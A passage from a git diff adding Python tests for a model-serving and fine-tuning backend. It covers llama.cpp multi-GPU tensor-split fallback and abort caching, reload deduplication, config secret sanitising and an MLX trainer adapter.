tensor is attempted (not skipped).""" + assert LlamaCppBackend._tensor_split_aborts("/never/seen/llama-server", "m") is False + assert LlamaCppBackend._tensor_split_aborts(None, "m") is False + assert LlamaCppBackend._tensor_split_aborts("/x", None) is False + + +def test_recorded_tensor_abort_is_per_model(): + """A recorded (binary, model) abort trips the gate for that model only -- a + different model on the same binary still attempts tensor (oobabooga, #6659).""" + b = f"/tmp/llama-server-{id(object())}" + try: + assert LlamaCppBackend._tensor_split_aborts(b, "model-a") is False + LlamaCppBackend._record_tensor_split_abort(b, "model-a") + assert LlamaCppBackend._tensor_split_aborts(b, "model-a") is True + # a different model on the same binary is unaffected + assert LlamaCppBackend._tensor_split_aborts(b, "model-b") is False + finally: + LlamaCppBackend._tensor_split_abort_keys.discard( + LlamaCppBackend._tensor_split_cache_key(b, "model-a") + ) + + +# ── _select_gpus: single-GPU collapse vs honored multi-GPU intent (pure) ── + + +def test_select_gpus_collapses_to_single_gpu_when_model_fits(): + """Default (min_gpus=1): a 39 GB model on four 183 GB GPUs pins ONE GPU -- the + 'single GPU' symptom once TP drops, and why the downgrade needs min_gpus.""" + gpus = [(0, 180000), (1, 180000), (2, 180000), (3, 180000)] # (idx, free MiB) + gpu_indices, _use_fit = LlamaCppBackend._select_gpus(int(39 * _GB), gpus) + assert gpu_indices is not None and len(gpu_indices) == 1 + + +def test_select_gpus_min_gpus_keeps_multi_gpu_for_fitting_model(): + """min_gpus>=2 must NOT collapse to one GPU for a model that fits on one.""" + gpus = [(0, 180000), (1, 180000), (2, 180000), (3, 180000)] + gpu_indices, _ = LlamaCppBackend._select_gpus(int(39 * _GB), gpus, min_gpus = 2) + assert gpu_indices is not None and len(gpu_indices) >= 2 + + +def test_select_gpus_min_gpus_capped_to_available(): + """min_gpus larger than the GPU count is capped, not an error.""" + gpus = [(0, 180000), (1, 180000)] + gi, _ = LlamaCppBackend._select_gpus(int(10 * _GB), gpus, min_gpus = 8) + assert gi is not None and len(gi) == 2 + + +def test_select_gpus_uses_multiple_gpus_when_model_does_not_fit(): + """Sanity: selection spreads across GPUs when one card can't hold the model.""" + gpus = [(0, 40000), (1, 40000), (2, 40000), (3, 40000)] # 40 GB free each + gpu_indices, _use_fit = LlamaCppBackend._select_gpus(int(120 * _GB), gpus) + assert gpu_indices is not None and len(gpu_indices) >= 2 + + +def test_select_gpus_min_gpus_excludes_unusable_gpu(): + """min_gpus caps to usable cards: 2 free + 1 nearly-full -> 2-GPU split, not + forcing the full card (OOM) or tripping --fit (#6659).""" + gpus = [(0, 180000), (1, 180000), (2, 500)] # GPU 2 is nearly full + total = {0: 180000, 1: 180000, 2: 180000} + gi, _ = LlamaCppBackend._select_gpus( + int(39 * _GB), + gpus, + min_gpus = 3, + total_by_idx = total, + per_device_overhead_bytes = int(1 * _GB), + ) + assert gi is not None + assert 2 not in gi, "a nearly-full GPU must not be forced in to satisfy min_gpus" + assert len(gi) == 2 + + +def test_tensor_abort_cache_invalidated_on_binary_mtime_change(tmp_path): + """Cache keys on (path, mtime, model), so a binary swapped in place (in-app + update, no restart) is re-probed instead of inheriting the old abort (#6659).""" + binp = tmp_path / "llama-server" + binp.write_text("v1") + p = str(binp) + try: + LlamaCppBackend._record_tensor_split_abort(p, "m") + assert LlamaCppBackend._tensor_split_aborts(p, "m") is True + # Simulate an in-place update bumping the binary's mtime. + st = binp.stat() + os.utime(p, (st.st_atime, st.st_mtime + 10)) + assert ( + LlamaCppBackend._tensor_split_aborts(p, "m") is False + ), "a binary swapped in place (new mtime) must be re-probed" + # A same-second replacement (sub-second mtime bump) must also re-probe: + # second-resolution mtime would inherit the stale abort (reviewer.py P2). + sec_ns = (binp.stat().st_mtime_ns // 1_000_000_000) * 1_000_000_000 + os.utime(p, ns = (sec_ns, sec_ns)) + LlamaCppBackend._record_tensor_split_abort(p, "m") + binp.write_text("v2") + os.utime(p, ns = (sec_ns, sec_ns + 1)) + assert ( + LlamaCppBackend._tensor_split_aborts(p, "m") is False + ), "a same-second in-place swap (ns mtime bump) must be re-probed" + finally: + for key in list(LlamaCppBackend._tensor_split_abort_keys): + if key and key[0] == p: + LlamaCppBackend._tensor_split_abort_keys.discard(key) + + +def test_tensor_split_abort_raises_early_to_layer_fallback(): + """The first-spawn abort raises to the route's layer fallback (not the text-only + mmproj strip), before the flash-attn-off retry, preserving the projector (#6659).""" + src = inspect.getsource(LlamaCppBackend.load_model) + raise_idx = src.find("(split-axis geometry); retrying with layer split") + assert raise_idx != -1, "the split-axis abort must raise to trigger a layer retry" + # raises before both the flash-attn-off retry and the text-only mmproj strip + assert raise_idx < src.find("_with_flash_attn_off") + assert raise_idx < src.find("_strip_mmproj_args(_last_spawn_cmd)") + # gated on the marker-plus-crash helper, which also drives the record just above + guard = src[max(0, raise_idx - 600) : raise_idx] + assert "_should_record_tensor_split_abort" in guard + rec_idx = src.find("_record_tensor_split_abort(binary, model_identifier)") + assert rec_idx != -1 and rec_idx < raise_idx + + +def test_budget_downgrade_preserves_multi_gpu_intent(): + """The pooled-VRAM downgrade raises _layer_min_gpus from the usable tensor GPUs + too, symmetric with the vision downgrade (reviewer.py asymmetric fix, #6659).""" + src = inspect.getsource(LlamaCppBackend.load_model) + budget = src.find("_tp_weight_budget_mib <= _tp_required_mib") + assert budget != -1 + block = src[budget : budget + 1000] + assert "tensor_parallel = False" in block + assert ( + "_layer_min_gpus = max(_layer_min_gpus, len(tp_gpus))" in block + ), "the budget downgrade must preserve multi-GPU intent like the vision gate" + + +def test_compute_buffer_downgrade_preserves_multi_gpu_intent(): + """The len(tp_gpus) < 2 compute-buffer downgrade raises _layer_min_gpus from the + full GPU set too, so it is symmetric with the budget/geometry downgrades and + doesn't collapse a multi-GPU layer load to one card (reviewer.py P1 on #6659).""" + src = inspect.getsource(LlamaCppBackend.load_model) + gate = src.find("tensor_parallel and len(tp_gpus) < 2") + assert gate != -1 + # Bound to exactly this block: from its gate to the next (budget) downgrade. + nxt = src.find("_tp_weight_budget_mib <= _tp_required_mib", gate) + assert nxt != -1 + block = src[gate:nxt] + assert "tensor_parallel = False" in block + assert ( + "_layer_min_gpus = max(_layer_min_gpus, len(gpus))" in block + ), "the compute-buffer downgrade must preserve multi-GPU intent like the others" + + +def test_tensor_split_layer_min_gpus_bump_requires_tensor_request(): + """Every guard that bumps _layer_min_gpus off the abort cache also tests + tensor_parallel, so a non-tensor load on a known-bad binary doesn't grab every + GPU for a fitting model (#6659).""" + fn = _load_model_ast() + checked = 0 + for node in ast.walk(fn): + if isinstance(node, ast.If): + test_src = ast.unparse(node.test) + if "self._tensor_split_aborts(binary, model_identifier)" not in test_src: + continue + body = "\n".join(ast.unparse(n) for n in node.body) + if "_layer_min_gpus" in body: + checked += 1 + assert "tensor_parallel" in test_src, ( + "the cached _layer_min_gpus bump must require a current tensor " + f"request, but fires under `{test_src}`" + ) + assert checked >= 1, "expected an abort-cache guard that bumps _layer_min_gpus" + + +# ── round-2 follow-up: route-fallback retry + auto-context cap + assert marker ── + + +def test_layer_fallback_retry_preserves_multi_gpu_intent(): + """load_model takes a preserve_multi_gpu_on_layer hint and raises _layer_min_gpus + for it, so the tensor-off fallback retry still spreads a fitting model (#6659).""" + sig = inspect.signature(LlamaCppBackend.load_model) + assert "preserve_multi_gpu_on_layer" in sig.parameters + assert sig.parameters["preserve_multi_gpu_on_layer"].default is False + fn = _load_model_ast() + found = any( + isinstance(n, ast.If) + and "preserve_multi_gpu_on_layer" in ast.unparse(n.test) + and "_layer_min_gpus" in "\n".join(ast.unparse(b) for b in n.body) + for n in ast.walk(fn) + ) + assert found, "preserve_multi_gpu_on_layer must raise _layer_min_gpus" + + +def test_auto_context_layer_loops_capped_to_usable_gpus(): + """The auto-context loops bypass _select_gpus, so they apply its cap: a card + counts only if usable VRAM clears the per-device layer overhead (#6659).""" + src = inspect.getsource(LlamaCppBackend.load_model) + assert ( + "range(max(1, _layer_min_gpus), len(ranked) + 1)" not in src + ), "auto-context loops must cap _layer_min_gpus to usable GPUs, not use it raw" + assert "_auto_min_gpus" in src + assert "range(_auto_min_gpus, len(ranked) + 1)" in src + # the eligibility threshold is the per-device layer overhead, not bare > 0 + auto = src.find("_auto_min_gpus = max(") + assert auto != -1 + block = src[auto : auto + 400] + assert "_pipeline_overhead_mib" in block, ( + "a card must clear the per-device layer overhead to count, mirroring " + "_select_gpus, so a nearly-full GPU is not exposed and OOMs" + ) + + +def test_fallback_hint_uses_effective_tensor_request_not_just_toggle(): + """Tensor intent keys off _effective_tensor_parallel (toggle + extras + env), not + just the toggle, so extra/env-driven tensor users keep multi-GPU (#6659).""" + route = Path(_BACKEND_DIR) / "routes" / "inference.py" + src = route.read_text() + idx = src.find("_tensor_intent_overall = _effective_tensor_parallel(") + assert idx != -1, "the GGUF load closure must compute tensor intent" + block = src[idx : idx + 300] + assert "extra_llama_args, request.tensor_parallel" in block + pres = src.find("preserve_multi_gpu_on_layer = bool(") + assert ( + "_effective_tensor_parallel(attempt_extra_args, tensor_parallel)" in src[pres : pres + 200] + ) + # not the toggle-only form this replaced + assert ( + "bool(\n request.tensor_parallel and not tensor_parallel" not in src + ) + + +def test_carry_preserved_tensor_intent_truth_table(): + """Behavioral check of the carry-forward decision: carried only for the SAME + model, preserved, and not an explicit drop. Catches a `not` inversion (ctx-only + collapse) and a missing same-model guard (cross-model leak) (#6659).""" + inference_routes = _load_inference_routes_module() + f = inference_routes._carry_preserved_tensor_intent + assert f(preserved = True, same_model = True, explicit_drop = False) is True + assert f(preserved = True, same_model = True, explicit_drop = True) is False # explicit drop + assert f(preserved = True, same_model = False, explicit_drop = False) is False # model switch + assert f(preserved = False, same_model = True, explicit_drop = False) is False # not a fallback + + +def test_preserved_fallback_carried_across_non_drop_reload(): + """The hint carries the preserved fallback via _carry_preserved_tensor_intent, + gated on the same model loaded, so a ctx-only reload keeps multi-GPU but a model + switch / explicit drop doesn't inherit it (#6659).""" + route = Path(_BACKEND_DIR) / "routes" / "inference.py" + src = route.read_text() + idx = src.find("_tensor_intent_overall = _effective_tensor_parallel(") + assert idx != -1 + block = src[idx : idx + 400] + assert "_carry_preserved_tensor_intent(" in block + assert "preserved = llama_backend.layer_preserves_tensor_intent" in block + assert "same_model = _same_model_loaded" in block + assert "explicit_drop = _explicit_tensor_drop" in block + + +def test_same_model_guard_checks_path_and_variant(): + """The same-model guard matches the resolved config.identifier (what load_model + stores, after from_identifier normalizes shorthands) -- not the raw request id -- + and also matches the loaded quant by path (local multi-variant dir) else variant (HF + repo), so a reload keeps the carry-forward and a different variant doesn't inherit + the prior one's preserved tensor intent (#6659).""" + route = Path(_BACKEND_DIR) / "routes" / "inference.py" + src = route.read_text() + idx = src.find("_same_model_loaded = (") + assert idx != -1 + block = src[idx : idx + 1300] + # Identity compares the normalized config.identifier, not the raw model_identifier. + head = src[idx : idx + 200] + assert "config.identifier" in head and "== (model_identifier" not in head + assert "llama_backend.gguf_path" in block and "config.gguf_file" in block + assert "llama_backend.hf_variant" in block and "config.gguf_variant" in block + + +def test_diffusion_load_clears_preserved_tensor_flag(): + """The diffusion early-return path (skips the command builder) clears the + preserved-fallback flag, so a prior tensor fallback doesn't churn it (#6659).""" + src = inspect.getsource(LlamaCppBackend.load_model) + diff = src.find("if self._is_diffusion:") + assert diff != -1 + start = src.find("return self._start_diffusion_server", diff) + assert start != -1 + assert "self._layer_preserves_tensor_intent = False" in src[diff:start] + + +def test_is_tensor_split_assert_marker(): + """Matches the specific #6415 split-axis assert, not any ggml assert/abort, so + an unrelated invariant a corrupt GGUF/projector trips isn't cached (#6659).""" + f = LlamaCppBackend._is_tensor_split_assert + # the real #6415 warmup assert (split-axis enum, in ggml-backend-meta) + assert ( + f( + "ggml-backend-meta.cpp:541: GGML_ASSERT(src_ss[0].axis != " + "GGML_BACKEND_SPLIT_AXIS_0) failed" + ) + is True + ) + # the split-axis token alone (file path elided / reworded) still matches + assert f("GGML_ASSERT(x.axis != GGML_BACKEND_SPLIT_AXIS_1) failed") is True + # UNRELATED asserts must NOT match -- including a different invariant from the + # same multi-assert source file (matched on the token, not the file name). + assert f("ggml-backend-meta.cpp:99: GGML_ASSERT(buf != NULL) failed") is False + assert f("/x/ggml.c:1234: GGML_ASSERT(ne == 1) failed") is False + assert f("ggml_abort: something else entirely") is False + assert f("Segmentation fault (core dumped)") is False + assert f("") is False + assert f(None) is False + + +def test_layer_preserve_hint_replayed_on_respawn(): + """The preserve hint is in the replay snapshot (_pending_load_kwargs), so a + respawn keeps the downgraded model multi-GPU (Codex review on #6659).""" + src = inspect.getsource(LlamaCppBackend.load_model) + pend = src.find("_pending_load_kwargs = {") + assert pend != -1 + block = src[pend : src.find("}", pend) + 1] + assert '"preserve_multi_gpu_on_layer": preserve_multi_gpu_on_layer' in block, ( + "the layer-preserve hint must be in the replay snapshot so _respawn_if_dead " + "keeps the multi-GPU placement" + ) + + +def test_should_record_tensor_split_abort_decision(): + """Behavioral check of marker AND (signal crash OR Windows abort), so an + or->and typo or caching a generic crash fails here, not just the source pins.""" + f = LlamaCppBackend._should_record_tensor_split_abort + marker = "ggml-backend-meta.cpp:541: GGML_ASSERT(x.axis != GGML_BACKEND_SPLIT_AXIS_0) failed" + # marker + a hard crash records, across every platform's abort encoding + assert f(-6, marker) is True # POSIX SIGABRT + assert f(-11, marker) is True # POSIX SIGSEGV + assert f(3, marker) is True # Windows CRT abort() exit (not a signal) + assert f(0xC0000005, marker) is True # Windows NTSTATUS access violation + # marker present but no hard crash -> not recorded + assert f(0, marker) is False # clean exit + assert f(-9, marker) is False # SIGKILL (OOM / unload), not a fault + assert f(None, marker) is False # still running + # hard crash but not the split-axis marker -> not recorded (no over-caching) + assert f(3, "some other failure") is False + assert f(-6, "GGML_ASSERT(buf != NULL) failed") is False + assert f(0xC0000005, "") is False + + +def test_fit_off_retry_skipped_on_split_axis_abort(): + """The fit-independent --fit off retry is skipped on the split-axis marker, else + the model crashes a second time before the latch records it (reviewer.py, #6659).""" + src = inspect.getsource(LlamaCppBackend.load_model) + retry = src.find('run_cmd = [*run_cmd, "--fit", "off"]') + assert retry != -1 + guard = src[max(0, retry - 1000) : retry] + assert "_fit_retry_allowed" in guard and "_startup_crashed" in guard + assert ( + "not _split_axis_crash" in guard + ), "the fit-off retry must be skipped when the crash is a split-axis abort" + + +def test_is_abort_exit_recognizes_windows_crt_abort(): + """exit code 3 (MSVC abort()) counts as a crash; signals / clean exits do not.""" + f = LlamaCppBackend._is_abort_exit + assert f(3) is True + assert f(0) is False + assert f(-6) is False # POSIX SIGABRT is handled by _is_signal_crash, not here + assert f(None) is False + + +# ── tensor-off after a multi-GPU fallback forces a reload (route dedup) ─ + + +class _NoopProcess: + """Stand-in for Popen so is_loaded is True and atexit cleanup doesn't crash.""" + + def terminate(self): + pass + + def wait(self, timeout = None): + return 0 + + def kill(self): + pass + + def poll(self): + return 0 + + +def _fallback_loaded_backend(layer_preserves_tensor_intent: bool) -> LlamaCppBackend: + """A loaded backend in the tensor->layer fallback state (tensor off, --split-mode + layer stored), differing only in the preserved-multi-GPU flag.""" + b = LlamaCppBackend() + b._model_identifier = "owner/repo" + b._requested_n_ctx = 0 + b._cache_type_kv = None + b._tensor_parallel = False + b._layer_preserves_tensor_intent = layer_preserves_tensor_intent + b._extra_args = ["--split-mode", "layer"] + b._requested_spec_mode = "auto" + b._chat_template_override = None + b._gguf_path = None + return b + + +def test_tensor_off_echo_preserves_multi_gpu_fallback(): + """The Studio UI always sends tensor_parallel and echoes the /load response's + resolved value, so after a fallback a ctx/settings reload carries tensor_parallel= + false even though the user never changed it. That echo must NOT collapse the + preserved multi-GPU placement -- it dedupes (Codex #6659).""" + from models.inference import LoadRequest + + inference_routes = _load_inference_routes_module() + + req = LoadRequest(model_path = "owner/repo", tensor_parallel = False) + assert "tensor_parallel" in req.model_fields_set, "the UI always sends the field" + + # Preserved fallback + bare tensor=false echo: dedupe, keep multi-GPU (no collapse). + assert ( + inference_routes._request_matches_loaded_settings( + req, _fallback_loaded_backend(layer_preserves_tensor_intent = True) + ) + is True + ) + # A genuine layer load (no preserved intent): tensor-off also dedupes, no churn. + assert ( + inference_routes._request_matches_loaded_settings( + req, _fallback_loaded_backend(layer_preserves_tensor_intent = False) + ) + is True + ) + + +def test_explicit_split_mode_layer_extras_reloads_after_multi_gpu_fallback(): + """Tensor intent can be dropped via extras too: an explicit --split-mode layer + matches the stored fallback extras but must still reload (reviewer.py P1, #6659).""" + from models.inference import LoadRequest + + inference_routes = _load_inference_routes_module() + + req = LoadRequest(model_path = "owner/repo", llama_extra_args = ["--split-mode", "layer"]) + assert "llama_extra_args" in req.model_fields_set + assert ( + inference_routes._request_matches_loaded_settings( + req, _fallback_loaded_backend(layer_preserves_tensor_intent = True) + ) + is False + ) + + +def test_tensor_off_reload_requires_explicit_toggle(): + """An Apply that doesn't touch the toggle (e.g. a context change) isn't churned + by the preserved-fallback reload -- the working server is kept (Codex #6659).""" + from models.inference import LoadRequest + + inference_routes = _load_inference_routes_module() + + req = LoadRequest(model_path = "owner/repo") # tensor_parallel left unset + assert "tensor_parallel" not in req.model_fields_set + assert ( + inference_routes._request_matches_loaded_settings( + req, _fallback_loaded_backend(layer_preserves_tensor_intent = True) + ) + is True + ) + + +def test_tensor_off_under_env_tensor_does_not_reload_loop(monkeypatch): + """With LLAMA_ARG_SPLIT_MODE=tensor set, a tensor-off request can't drop tensor + intent, so the env-aware guard dedupes instead of reload-looping (Codex #6659).""" + from models.inference import LoadRequest + + inference_routes = _load_inference_routes_module() + monkeypatch.setenv("LLAMA_ARG_SPLIT_MODE", "tensor") + + req = LoadRequest(model_path = "owner/repo", tensor_parallel = False) + assert "tensor_parallel" in req.model_fields_set + # env still forces tensor -> not a real drop -> dedupe (no reload loop). + assert ( + inference_routes._request_matches_loaded_settings( + req, _fallback_loaded_backend(layer_preserves_tensor_intent = True) + ) + is True + ) + + +def test_is_explicit_tensor_drop_truth_table(): + """Only an explicit non-tensor --split-mode override is a drop. A bare + tensor_parallel field (the UI always sends it and echoes the fallback's false), an + empty clear, an unrelated extra (--top-k), or inherit (None) must NOT collapse a + preserved fallback; --split-mode tensor / tensor_parallel=true re-engage (Codex + #6659).""" + from models.inference import LoadRequest + + f = _load_inference_routes_module()._is_explicit_tensor_drop + # A non-tensor split-mode override is the one deliberate departure -> drop. + assert ( + f(LoadRequest(model_path = "owner/repo", llama_extra_args = ["--split-mode", "layer"])) is True + ) + # tensor / retry re-engages, never a drop. + assert ( + f(LoadRequest(model_path = "owner/repo", llama_extra_args = ["--split-mode", "tensor"])) + is False + ) + # A bare tensor_parallel field is the UI echo, not a drop (would collapse on reload). + assert f(LoadRequest(model_path = "owner/repo", tensor_parallel = False)) is False + assert f(LoadRequest(model_path = "owner/repo", tensor_parallel = True)) is False + # Unrelated extra / empty clear / inherit all keep the preserved placement. + assert f(LoadRequest(model_path = "owner/repo", llama_extra_args = ["--top-k", "20"])) is False + assert f(LoadRequest(model_path = "owner/repo", llama_extra_args = [])) is False + assert f(LoadRequest(model_path = "owner/repo")) is False + + +def test_explicit_tensor_drop_uses_shared_helper_in_both_readers(): + """Both the already-loaded dedup and the load carry-forward derive the drop from + _is_explicit_tensor_drop, so they agree on what counts as a drop -- a reload for + an unrelated extra still carries the preserved intent rather than collapsing to one + GPU (Codex #6659).""" + src = (Path(_BACKEND_DIR) / "routes" / "inference.py").read_text() + # Dedup reader (the preserved-fallback reload guard). + assert "layer_preserves_tensor_intent and _is_explicit_tensor_drop(request)" in src + # Load carry-forward reader feeds the same decision into the carry-forward. + assert "_explicit_tensor_drop = _is_explicit_tensor_drop(request)" in src + + +def test_layer_preserves_tensor_intent_set_only_on_preserved_downgrade(): + """load_model latches the flag from _layer_min_gpus (raised only when a tensor + request is downgraded but kept multi-GPU), and clears it when tensor stays on.""" + src = inspect.getsource(LlamaCppBackend.load_model) + on = src.find("self._tensor_parallel = True") + off = src.find("self._tensor_parallel = False") + assert 0 <= on and 0 <= off + assert "self._layer_preserves_tensor_intent = False" in src[on : on + 120] + assert "self._layer_preserves_tensor_intent = _layer_min_gpus > 1" in src[off : off + 400] + + +def test_layer_min_gpus_bound_before_gpu_selection_try(): + """_layer_min_gpus is bound before the GPU-selection try, so the --fit-on except + path can't UnboundLocalError when the command builder reads it (Codex #6659).""" + src = inspect.getsource(LlamaCppBackend.load_model) + assert src.count("_layer_min_gpus = 1") == 1, "exactly one init, before the try" + init = src.find("_layer_min_gpus = 1") + try_body = src.find("gguf_size = self._get_gguf_size_bytes") + fit_except = src.find("GPU selection failed") + use_after = src.find("self._layer_preserves_tensor_intent = _layer_min_gpus > 1") + assert ( + -1 < init < try_body < fit_except < use_after + ), "the init must precede the try body, the except, and the command-builder use" + + +def test_already_in_target_state_reloads_on_tensor_off_after_fallback(): + """The backend fast path mirrors the route dedup: a preserved fallback reloads on + an EXPLICIT tensor-off request, but an implicit same-settings reload (carry-forward + preserve_multi_gpu_on_layer=True) still dedupes (Codex #6659).""" + + def _backend(layer_preserves: bool) -> LlamaCppBackend: + b = _fallback_loaded_backend(layer_preserves_tensor_intent = layer_preserves) + b._process = _NoopProcess() + b._healthy = True + return b + + kwargs = dict( + gguf_path = None, + mtp_draft_path = None, + model_identifier = "owner/repo", + hf_variant = None, + n_ctx = 0, + cache_type_kv = None, + speculative_type = None, + spec_draft_n_max = None, + tensor_parallel = False, + chat_template_override = None, + extra_args = ["--split-mode", "layer"], + is_vision = False, + ) + # Preserved fallback + EXPLICIT tensor drop -> reload (not already in target state). + assert _backend(True)._already_in_target_state(**kwargs) is False + # Same preserved fallback but an implicit reload that carries the intent forward + # (HF auto-pick / local-dir flows skip the route guard and reach here) -> dedupe. + assert ( + _backend(True)._already_in_target_state(**kwargs, preserve_multi_gpu_on_layer = True) is True + ) + # A genuine layer load (no preserved intent) -> dedupe, no churn. + assert _backend(False)._already_in_target_state(**kwargs) is True diff --git a/studio/backend/tests/test_training_history_update.py b/studio/backend/tests/test_training_history_update.py index d8a0c93622..aa586e1298 100644 --- a/studio/backend/tests/test_training_history_update.py +++ b/studio/backend/tests/test_training_history_update.py @@ -90,6 +90,23 @@ def test_update_run_whitespace_clears_display_name(monkeypatch: pytest.MonkeyPat assert result.display_name is None +def test_get_run_detail_includes_preview_fields(monkeypatch: pytest.MonkeyPatch): + # Regression: detail/update must pass the sharing flag into _preview_fields; + # a missing arg used to surface as a 500 TypeError after get_run succeeded. + monkeypatch.setattr(training_history, "get_run", lambda run_id: dict(BASE_RUN)) + monkeypatch.setattr(training_history, "get_run_metrics", lambda run_id: {}) + monkeypatch.setattr(training_history, "can_resume_run", lambda run: False) + monkeypatch.setattr(training_history, "get_preview_sharing_enabled", lambda: True) + + detail = asyncio.run( + training_history.get_training_run_detail("run-1", current_subject = "test-user") + ) + + assert detail.run.id == "run-1" + # Not a previewable dir, so no signed ref - but the field is built without error. + assert detail.run.preview_sig is None + + def test_update_run_rejects_unknown_fields(): with pytest.raises(ValidationError): TrainingRunUpdateRequest.model_validate({"unknown": "value"}) @@ -98,3 +115,22 @@ def test_update_run_rejects_unknown_fields(): def test_update_run_rejects_overlong_display_name(): with pytest.raises(ValidationError): TrainingRunUpdateRequest.model_validate({"display_name": "x" * 121}) + + +def test_sanitize_db_config_strips_subject_and_secrets(): + # config_json is returned by run-history GET to any authenticated user, so the run + # owner's subject (username / API-key id) and secrets must never be persisted. + from core.training.training import _sanitize_db_config + + db = _sanitize_db_config( + { + "model_name": "unsloth/test-model", + "subject": "alice@example.com", + "hf_token": "hf_secret", + "wandb_token": "wb_secret", + "lora_r": 16, + } + ) + assert "subject" not in db + assert "hf_token" not in db and "wandb_token" not in db + assert db["model_name"] == "unsloth/test-model" and db["lora_r"] == 16 diff --git a/studio/backend/tests/test_training_preflight.py b/studio/backend/tests/test_training_preflight.py index 54048a65dd..47c6669f8f 100644 --- a/studio/backend/tests/test_training_preflight.py +++ b/studio/backend/tests/test_training_preflight.py @@ -6,9 +6,15 @@ empty-chat-template crash) before train(). The real methods are bound onto a lig fake self so the production logic runs against controlled batches.""" import importlib +import json +import os +import queue +import subprocess import sys +import threading import types import unittest +from pathlib import Path from types import SimpleNamespace from unittest.mock import MagicMock @@ -184,5 +190,231 @@ class TestChatTemplateRendersEmpty(unittest.TestCase): self.assertFalse(s._chat_template_renders_empty()) +def _clear_trainer_module(package: str): + sys.modules.pop(f"{package}.trainer", None) + pkg = sys.modules.get(package) + if pkg is not None and hasattr(pkg, "trainer"): + delattr(pkg, "trainer") + + +def _set_training_platform(monkeypatch, package: str, backend: str): + training_mod = importlib.import_module(f"{package}.training") + from utils.hardware import hardware as hw + + monkeypatch.setattr(hw, "DEVICE", None) + monkeypatch.setattr( + training_mod.platform, + "system", + lambda: "Darwin" if backend == "mlx" else "Linux", + ) + monkeypatch.setattr( + training_mod.platform, + "machine", + lambda: "arm64" if backend == "mlx" else "x86_64", + ) + + +def _load_trainer_module( + monkeypatch, + backend: str, + package: str = "core.training", +): + _set_training_platform(monkeypatch, package, backend) + _clear_trainer_module(package) + if package in sys.modules: + importlib.reload(sys.modules[package]) + trainer_mod = importlib.import_module(f"{package}.trainer") + training_mod = importlib.import_module(f"{package}.training") + monkeypatch.setattr( + training_mod._MLXTrainerAdapter, + "_activate_transformers_for_model", + lambda self, model_name, hf_token: None, + ) + return trainer_mod + + +class _ExitedProc: + def join(self, timeout = None): + return None + + def is_alive(self): + return False + + +class _TerminableProc: + def __init__(self): + self.terminated = False + self._done = threading.Event() + + def join(self, timeout = None): + self._done.wait(timeout = timeout or 5) + + def is_alive(self): + return not self.terminated + + def terminate(self): + self.terminated = True + self._done.set() + + +def test_unsloth_trainer_dispatches_for_mlx_and_torch(monkeypatch): + trainer_mod = _load_trainer_module(monkeypatch, "mlx") + + mlx_trainer = trainer_mod.UnslothTrainer() + + assert type(mlx_trainer).__module__ == "core.training.training" + assert mlx_trainer.get_training_progress().status_message == "Ready to train" + + trainer_mod = _load_trainer_module(monkeypatch, "torch") + + assert trainer_mod.UnslothTrainer().__class__ is trainer_mod.UnslothTrainer + + +def test_cli_mlx_trainer_activates_before_importing_trainer(): + repo_root = Path(__file__).resolve().parents[3] + script = """ +import json +import sys +import unsloth_cli.commands.train as train_cmd +from studio.backend.core.training import training as training_mod +from utils.hardware import hardware as hw + +training_mod.platform.system = lambda: "Darwin" +training_mod.platform.machine = lambda: "arm64" +hw.DEVICE = None +events = [] + +def fake_activate(model_name, hf_token): + events.append({ + "model_name": model_name, + "trainer_loaded": "studio.backend.core.training.trainer" in sys.modules, + }) + +train_cmd._activate_mlx_transformers = fake_activate +trainer = train_cmd._create_cli_trainer("mlx-community/Qwen3-0.6B-4bit", None) +print(json.dumps({ + "trainer_module": type(trainer).__module__, + "events": events, +})) +""" + env = os.environ.copy() + env["PYTHONPATH"] = os.pathsep.join( + [str(repo_root), str(repo_root / "studio" / "backend"), env.get("PYTHONPATH", "")] + ) + result = subprocess.run( + [sys.executable, "-c", script], + cwd = repo_root, + env = env, + text = True, + stdout = subprocess.PIPE, + stderr = subprocess.PIPE, + check = True, + ) + payload = json.loads(result.stdout) + + assert payload["trainer_module"] == "studio.backend.core.training.training" + assert payload["events"] == [ + {"model_name": "mlx-community/Qwen3-0.6B-4bit", "trainer_loaded": False} + ] + + +def test_mlx_adapter_builds_config_and_reports_completion(tmp_path, monkeypatch): + trainer_mod = _load_trainer_module(monkeypatch, "mlx") + captured = {} + + def fake_run_worker(config, event_queue, stop_queue): + captured["config"] = config + event_queue.put({"type": "progress", "step": 1, "total_steps": 1, "loss": 0.25}) + event_queue.put( + {"type": "complete", "status_message": "done", "output_dir": config["output_dir"]} + ) + + trainer = trainer_mod.UnslothTrainer() + monkeypatch.setattr(trainer, "_run_mlx_worker", fake_run_worker) + + assert trainer.load_model("mlx-community/Qwen3-0.6B-4bit", max_seq_length = 1024) + assert trainer.prepare_model_for_training(use_lora = False) + dataset, eval_dataset = trainer.load_and_format_dataset("org/dataset") + output_dir = tmp_path / "mlx-out" + + assert trainer.start_training( + dataset = dataset, + eval_dataset = eval_dataset, + output_dir = output_dir, + project_name = "Sales Assistant", + max_steps = 1, + learning_rate = 3e-4, + ) + trainer.training_thread.join(timeout = 5) + + progress = trainer.get_training_progress() + config = captured["config"] + assert progress.is_completed + assert progress.output_dir == str(output_dir.resolve()) + progress.status_message = "mutated" + assert trainer.get_training_progress().status_message == "done" + assert config["model_name"] == "mlx-community/Qwen3-0.6B-4bit" + assert config["project_name"] == "Sales Assistant" + assert config["hf_dataset"] == "org/dataset" + assert config["training_type"] == "Full Finetuning" + assert config["load_in_4bit"] is False + assert config["max_seq_length"] == 1024 + assert config["learning_rate"] == 3e-4 + assert config["output_dir"] == str(output_dir.resolve()) + assert config["allow_external_output_dir"] is True + + +def test_mlx_worker_helpers_cover_cli_paths(tmp_path, monkeypatch): + _load_trainer_module(monkeypatch, "mlx") + from core.training.worker import ( + _resolve_mlx_local_dataset_files, + _resolve_mlx_output_dir, + ) + + dataset = tmp_path / "train.jsonl" + dataset.write_text('{"text":"hello"}\n', encoding = "utf-8") + monkeypatch.chdir(tmp_path) + + assert _resolve_mlx_local_dataset_files(["train.jsonl"]) == [str(dataset)] + assert _resolve_mlx_output_dir( + {"output_dir": "cli-out", "allow_external_output_dir": True}, + "mlx-community/Qwen3-0.6B-4bit", + ) == str((tmp_path / "cli-out").resolve()) + + +def test_run_mlx_training_process_applies_side_effects_before_hardware_detection(monkeypatch): + _load_trainer_module(monkeypatch, "mlx") + from core.training import worker + from utils.hardware import hardware as hw + + order = [] + + def fake_activate(model_name, hf_token): + order.append(("activate", model_name, hf_token)) + + def fake_detect_hardware(): + order.append("detect") + hw.DEVICE = hw.DeviceType.CPU + 